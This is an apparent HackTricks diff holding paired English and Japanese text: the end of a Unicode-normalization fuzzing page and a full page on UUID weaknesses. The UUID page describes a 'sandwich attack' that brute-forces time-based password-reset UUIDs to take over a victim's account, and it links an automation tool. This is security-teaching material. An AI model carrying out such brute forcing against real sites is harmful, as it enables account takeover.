The tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* allows to **generate variation of the input** to fuzz the backend. Fore more info check the **github** and this [**post**](https://0xacb.com/2022/11/21/recollapse/).
ツール[**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\*は、バックエンドをファジングするために**入力のバリエーションを生成**することを可能にします。詳細については、**github**とこの[**投稿**](https://0xacb.com/2022/11/21/recollapse/)を確認してください。
## References
## 参考文献
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,66 +1,65 @@
# UUID Insecurities
# UUIDの脆弱性
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
Universally Unique Identifiers (UUIDs) are **128-bit numbers used to uniquely identify information** in computer systems. UUIDs are essential in applications where unique identifiers are necessary without central coordination. They are commonly used as database keys and can refer to various elements like documents and sessions.
Universally Unique Identifiers (UUIDs) **情報を一意に識別するために使用される128ビットの番号** です。UUIDは、中央の調整なしに一意の識別子が必要なアプリケーションで不可欠です。一般的にデータベースキーとして使用され、文書やセッションなどのさまざまな要素を参照できます。
UUIDs are designed to be unique and **hard to guess**. They are structured in a specific format, divided into five groups represented as 32 hexadecimal digits. There are different versions of UUIDs, each serving different purposes:
UUIDは一意であり、**推測が難しい**ように設計されています。特定の形式で構成されており、32の16進数の数字で表される5つのグループに分かれています。UUIDには異なるバージョンがあり、それぞれ異なる目的に使用されます
- **UUID v1** is time-based, incorporating the timestamp, clock sequence, and node ID (MAC address), but it can potentially expose system information.
- **UUID v2** is similar to v1 but includes modifications for local domains (not widely used).
- **UUID v3 and v5** generate UUIDs using hash values from namespace and name, with v3 using MD5 and v5 using SHA-1.
- **UUID v4** is generated almost entirely randomly, providing a high level of anonymity but with a slight risk of duplicates.
- **UUID v1** は時間ベースで、タイムスタンプ、クロックシーケンス、ードIDMACアドレスを組み込んでいますが、システム情報を露出する可能性があります。
- **UUID v2** はv1に似ていますが、ローカルドメイン用の修正が含まれていますあまり広く使用されていません
- **UUID v3およびv5** は、名前空間と名前からハッシュ値を使用してUUIDを生成し、v3はMD5を使用し、v5はSHA-1を使用します。
- **UUID v4** はほぼ完全にランダムに生成され、高い匿名性を提供しますが、重複のわずかなリスクがあります。
> [!TIP]
> Note that the version and subversion of the UUID usually appears in the same possition inside the UUID. For example in:\
> UUIDのバージョンとサブバージョンは通常、UUID内の同じ位置に表示されます。例えば\
> 12345678 - abcd - 1a56 - a539 - 103755193864\
> xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx
>
> - The **position of the M** Indicates the UUID **version**. In the example above, its UUID v**1**.
> - The **position of the N** Indicates the UUID variant.
> - **Mの位置** はUUIDの**バージョン**を示します。上記の例では、UUID v**1**です。
> - **Nの位置** はUUIDのバリアントを示します。
## Sandwich attack
## サンドイッチ攻撃
The "Sandwich Attack" is a specific type of attack that **exploits the predictability of UUID v1 generation in web applications**, particularly in features like password resets. UUID v1 is generated based on time, clock sequence, and the node's MAC address, which can make it somewhat predictable if an attacker can obtain some of these UUIDs generated close in time.
「サンドイッチ攻撃」は、**WebアプリケーションにおけるUUID v1生成の予測可能性を悪用する特定のタイプの攻撃**です。特にパスワードリセットのような機能で使用されます。UUID v1は時間、クロックシーケンス、ードのMACアドレスに基づいて生成されるため、攻撃者がこれらのUUIDのいくつかを取得できれば、ある程度予測可能になります。
### Example
###
Imagine a web application that uses UUID v1 for generating password reset links. Heres how an attacker might exploit this to gain unauthorized access:
UUID v1を使用してパスワードリセットリンクを生成するWebアプリケーションを想像してみてください。攻撃者がこれを悪用して不正アクセスを得る方法は次のとおりです
1. **Initial Setup**:
1. **初期設定**
- The attacker has control over two email accounts: \`attacker1@acme.com\` and \`attacker2@acme.com\`.
- The target's email account is \`victim@acme.com\`.
- 攻撃者は2つのメールアカウントを制御しています\`attacker1@acme.com\` と \`attacker2@acme.com\`。
- 対象のメールアカウントは \`victim@acme.com\` です。
2. **Execution**:
2. **実行**
- The attacker triggers a password reset for their first account (\`attacker1@acme.com\`) and receives a password reset link with a UUID, say \`99874128-7592-11e9-8201-bb2f15014a14\`.
- Immediately after, the attacker triggers a password reset for the victim's account (\`victim@acme.com\`) and then quickly for the second attacker-controlled account (\`attacker2@acme.com\`).
- The attacker receives a reset link for the second account with a UUID, say \`998796b4-7592-11e9-8201-bb2f15014a14\`.
- 攻撃者は最初のアカウント(\`attacker1@acme.com\`のパスワードリセットをトリガーし、UUIDを含むパスワードリセットリンクを受け取ります。例えば \`99874128-7592-11e9-8201-bb2f15014a14\`。
- その直後、攻撃者は被害者のアカウント(\`victim@acme.com\`のパスワードリセットをトリガーし、次にすぐに2番目の攻撃者制御アカウント\`attacker2@acme.com\`)のためにトリガーします。
- 攻撃者は2番目のアカウントのためのリセットリンクを受け取り、UUIDは \`998796b4-7592-11e9-8201-bb2f15014a14\` です。
3. **Analysis**:
3. **分析**
- The attacker now has two UUIDs generated close in time (\`99874128\` and \`998796b4\`). Given the sequential nature of time-based UUIDs, the UUID for the victim's account will likely fall between these two values.
- 攻撃者は、時間的に近い2つのUUID\`99874128\` と \`998796b4\`を持っています。時間ベースのUUIDの連続的な性質を考えると、被害者のアカウントのUUIDはこれら2つの値の間にある可能性が高いです。
4. **Brute Force Attack:**
4. **ブルートフォース攻撃**
- The attacker uses a tool to generate UUIDs between these two values and tests each generated UUID by attempting to access the password reset link (e.g., \`https://www.acme.com/reset/\<generated-UUID>\`).
- If the web application does not adequately rate limit or block such attempts, the attacker can quickly test all possible UUIDs in the range.
- 攻撃者は、これら2つの値の間のUUIDを生成するツールを使用し、生成された各UUIDをテストしてパスワードリセットリンクにアクセスしようとします\`https://www.acme.com/reset/\<generated-UUID>\`)。
- Webアプリケーションがそのような試行を適切にレート制限またはブロックしない場合、攻撃者は範囲内のすべての可能なUUIDを迅速にテストできます。
5. **Access Gained:**
5. **アクセス獲得**
- Once the correct UUID for the victim's password reset link is discovered, the attacker can reset the victim's password and gain unauthorized access to their account.
- 被害者のパスワードリセットリンクの正しいUUIDが発見されると、攻撃者は被害者のパスワードをリセットし、アカウントに不正アクセスできます。
### Tools
### ツール
- You can perform the sandwich attack automatically with the tool: [**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
- You can detect these type of UUIds in Burp Suite with the extension [**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248).
- ツールを使用してサンドイッチ攻撃を自動的に実行できます:[**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
- Burp Suiteで拡張機能[**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248)を使用してこれらのタイプのUUIDを検出できます。
## References
## 参考文献
- [https://versprite.com/blog/universally-unique-identifiers/](https://versprite.com/blog/universally-unique-identifiers/)
{{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More